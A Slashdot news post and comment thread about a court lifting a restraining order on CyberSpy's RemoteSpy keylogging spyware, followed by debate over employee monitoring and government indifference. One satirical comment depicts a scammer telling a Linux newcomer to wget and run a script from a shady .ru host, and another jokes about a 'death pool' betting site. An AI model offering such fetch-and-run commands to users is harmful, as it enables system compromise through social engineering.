Restraining Order On Commercial Spyware Lifted 97
Back in 2008, the US Federal Trade Commission filed a restraining order against CyberSpy Software, makers of a commercial spyware program that logged keystrokes, took screenshots, monitored IM conversations, and sent all the collected data back to the company's servers. Reader suraj.sun tips news that the order has now been lifted, allowing CyberSpy to sell its software, but with a few restrictions.
"According to the US District Court settlement, the company must not provide users with the means to disguise the software as an innocent file or email attachment. Users must also be advised that doing so may violate US state or federal law. Additionally, all recorded information sent over the Internet must be encrypted and older legacy versions of the software must be removed from computers on which it was previously installed. ... RemoteSpy is said to employ rootkit techniques to hide from virus scanners."
Use in the workplace (Score:4, Insightful)
I am assuming that the order was recinded because workplaces might want this functionality. It sucks for workplaces to do this but it's their right to install this sw on the computers they own
duh (Score:3, Insightful)
Do the authorities care so little for the average citizen? If they despise us so much, why don't they just allow phishing scams? Embezzlement? Ponzi scams?
The authorities "care" for the average citizen is roughly 0.000. Who says the don't allow scams, embezzlement and Ponzi schemes. Isn't all that what blew up the economy a couple of years ago?
Or on your own systems (Score:5, Insightful)
Not saying I'd trust software like this, but I could see the potential in wanting to be able to monitor your own computers. Maybe you live with roommates and you don't trust them to leave your shit alone, etc.
There are legit uses for having clandestine reporting software on a PC. Same deal as lock picks, firearms, and many other things with legal and illegal uses.
Sounds like the problem with these guys is they were attempting to primarily market it for illegal use. That is what gets you in trouble. If something has legal and illegal uses, but you market it for legal uses and attempt to sell it only to legal users, then you are fine. If you market it for illegal purposes, then you get in trouble.
That is why smoke shops are so big on what you say you are going to use their glassware for. It is perfectly legal to buy it for smoking tobacco. Bongs and such derive from Hookahs which were invented for the purpose of smoking tobacco. However, if you imply that you intend to use their products for smoking marijuana or other controlled substances, they'll refuse to sell to you. In this way they can make sure to stay clear legally. Though their products have illegal uses, they only market them for legal ones, and take care to attempt to not sell them for illegal purposes.
Re:So Little (Score:4, Insightful)
Clearly, this is done "for the sake of" protecting children, "for the sake of" protecting us against terrorism, and "for the sake of" protecting our companies from industrial espionage.
When someone wearing a suit says "for the sake of", he or she means "in the name of".
Remember that the next time you vote.
Re:duh (Score:1, Insightful)
I think it is more because they don't like competition. Scams (Pork barrel projects) Ponzi (Social Security), Embezzlement (self voted raises).
Re:So Little (Score:3, Insightful)
Well, yes, they do, but this is not an example of that. If I own a small company I can install whatever I want on my systems to monitor what my employees are doing for various reasons. I know of one specific case where a property management company does this to ensure that a disgruntled employee doesn't improperly handle a tenant's personal information - it is there for CYA reasons. I would also imagine that some parents would want to monitor their kids. I can see a lot of legitimate uses for this, and the ruling specifies that you cannot disguise the package as something else. I don't see or have a problem with this. Having said that, people will undoubtedly abuse the software, but that is true of most anything.
I don't think this is a good example of the authorities eroding the rights of the people - there are plenty [slashdot.org] of examples [boston.com] of that [slashdot.org] to be had.
Re:Use in the workplace (Score:1, Insightful)
I never understood that mentality. If you are representing the company in a n official capacity (using company email) and putting something in writing, why would you assume they won't find out? If they were monitoring your personal email (sent from home, not work) then I could understand the outrage, but WTF? It's the same thing with business phone calls at work. They should be monitoring them to make sure people aren't being rude, saying things that are wrong (legally and also for just simple mistakes).
Re:Use in the workplace (Score:4, Insightful)
Is it also their right to install cameras in toilet stalls they own?
How about searching through cars in the parking lot they own?
Are you really this stupid? The company already has a legal right to monitor your work activity, and already doesn't have a legal right to search your car or to watch you poop. Further, there is a clear difference between one and the other. The toilet is provided for your needs. The car is yours. The computer is provided for their needs, i.e. your work output.
It's reasonable not to want to work for someone who monitors your work activity, but not reasonable to compare that to monitoring your toilet activity.
Re:So Little (Score:3, Insightful)
This will last a while, til things get rotten enough, then the purge-and-replace cycle begins again.
If only it were so simple. It's relatively easy to pass a law. It's a lot more difficult to repeal them.
Re:So Little (Score:5, Insightful)
"Do the authorities care so little for the average citizen?"
Yes. This will last a while, til things get rotten enough, then the purge-and-replace cycle begins again. It was ever thus, and so it shall be.
Of course, don't you know government and industry are mostly in sleeping together? Why do you think BP got away with murder up until the point thhings quite literally exploded.
Re:Use in the workplace (Score:4, Insightful)
At best, this stuff is being used in interpersonally-touchy-but-legal ways(ugly roommate situations, spying on the kiddies, spousal paranoia, etc.), and I'm guessing that the sliminess of the customer base just increases from there.
Re:Easy fix... (Score:2, Insightful)
No OS can possibly be secure against user security without giving the user no freedom (see: iPad).
Here's the similar exploit for Linux:
Linux newbie: How do I get $obscure_proprietary_hardware working on my system?
Evil black hat hacker: The following did it for me:
Linux newbie: Ok, thanks, I'll try that. I don't know what any of that means but it sure is nice to have people as advanced as you helping me!
Linux newbie: Sorry, I'm posting from my friend's computer here. My computer's broken from that. Any idea what it is?
Evil black hat hacker: Ok, we'll try SSHing into it and fixing everything remotely. Is your friend's computer also running Linux?
Linux newbie: Yes.
Evil black hat hacker: Ok, in order to SSH into your computer, first on your friend's machine run: wget -O run.sh www.shady_website.ru/lin...
Re:So Little (Score:1, Insightful)
Do the authorities care so little for the average citizen?
Absolutely. The bureaucrats in Washington typically do little or nothing until the situation gets so bad that it threatens re-election opportunities; e.g., the 9-11, financial collapse, the BP environmental disaster. Once a situation reaches this level, they'll stand in front of every camera possible to declare something must be done in order to save face. Without this incentive, they're more than happy to sit on the lap of the corporate-backed lobbyists.
Of course, it doesn't say much about the American people that it takes a disaster of this level to get us motivated.
Re:So Little (Score:1, Insightful)
Nah- just have a 'death pool' site. You know, you get to bet on how certain people will die. Once the prize pools get high enough, I think you'll find some people placing some very specific bets, and winning them.
I turned down the "opportunity" ... (Score:4, Insightful)
Back in 2002 or 2003 I was offered a job with these guys [or possibly a similar firm] to port the software to Mac OS X. Once I was informed that the product I would be working on was to be used to spy on a company's employees, I chose to decline. When I started in my career almost 30 years ago, I vowed to myself that I would pursue it with the utmost integrity. This was way over *my* line.